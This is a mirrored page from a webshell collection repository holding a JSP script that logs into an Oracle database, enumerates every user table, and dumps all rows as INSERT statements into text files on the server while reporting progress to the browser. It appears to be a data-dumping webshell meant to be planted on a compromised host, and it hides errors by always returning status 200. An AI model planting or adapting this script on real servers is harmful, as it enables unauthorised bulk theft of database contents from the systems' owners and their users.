mirror of
https://github.com/tennc/webshell
synced 2024-11-28 14:10:18 +00:00
72 lines
2.2 KiB
Text
72 lines
2.2 KiB
Text
|
<%@ page import="java.sql.*" %>
|
||
|
|
<%@ page import="java.util.*" %>
|
||
|
|
<%@ page import="java.io.*" %>
|
||
|
|
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
|
||
|
|
<%
|
||
|
|
try {
|
||
|
|
String backupDir = "/usr/data/";
|
||
|
|
String ex=".txt";
|
||
|
|
|
||
|
|
String driver = "oracle.jdbc.driver.OracleDriver";
|
||
|
|
String url = "jdbc:oracle:thin:user/pass@localhost:1521:orcl";
|
||
|
|
String username = "user";
|
||
|
|
String password = "pass";
|
||
|
|
|
||
|
|
|
||
|
|
Class.forName(driver);
|
||
|
|
Connection conn = DriverManager.getConnection(url, username, password);
|
||
|
|
|
||
|
|
// Get tables
|
||
|
|
String sql_tables="select TABLE_NAME from user_tab_comments";
|
||
|
|
PreparedStatement ps = conn.prepareStatement(sql_tables);
|
||
|
|
ResultSet rs = ps.executeQuery();
|
||
|
|
ArrayList<String> tables = new ArrayList<String>();
|
||
|
|
while (rs.next()) {
|
||
|
|
tables.add(rs.getString(1));
|
||
|
|
}
|
||
|
|
rs.close();
|
||
|
|
|
||
|
|
for(int i=0;i<tables.size();i++){
|
||
|
|
String table=tables.get(i);
|
||
|
|
out.println("Dumping data for table " + table + "...<br />");
|
||
|
|
OutputStreamWriter osw = new OutputStreamWriter(new FileOutputStream(backupDir+table+ex), "UTF-8");
|
||
|
|
BufferedWriter bw=new BufferedWriter(osw);
|
||
|
|
String sql="select * from "+table;
|
||
|
|
PreparedStatement p = conn.prepareStatement(sql);
|
||
|
|
ResultSet r = p.executeQuery();
|
||
|
|
ResultSetMetaData rsmeta=r.getMetaData();
|
||
|
|
|
||
|
|
while(r.next()){
|
||
|
|
bw.append("INSERT INTO " + table + " VALUES(");
|
||
|
|
// JDBC is 1-based, Java is not !?
|
||
|
|
for (int col = 1; col <= rsmeta.getColumnCount(); col++) {
|
||
|
|
bw.append("'");
|
||
|
|
if (r.getString(col) == null)
|
||
|
|
bw.append("");
|
||
|
|
else
|
||
|
|
bw.append(r.getString(col));
|
||
|
|
if (col == rsmeta.getColumnCount())
|
||
|
|
bw.append("'");
|
||
|
|
else
|
||
|
|
bw.append("', ");
|
||
|
|
}
|
||
|
|
bw.append(");");
|
||
|
|
bw.newLine();
|
||
|
|
}
|
||
|
|
|
||
|
|
bw.flush();
|
||
|
|
bw.close();
|
||
|
|
osw.close();
|
||
|
|
r.close();
|
||
|
|
}
|
||
|
|
|
||
|
|
rs.close();
|
||
|
|
out.println("backup is ok");
|
||
|
|
conn.close();
|
||
|
|
} catch (Exception e) {
|
||
|
|
response.setStatus(200);
|
||
|
|
e.printStackTrace();
|
||
|
|
}
|
||
|
|
out.println("<p><h3>finished</h3></p>");
|
||
|
|
%>
|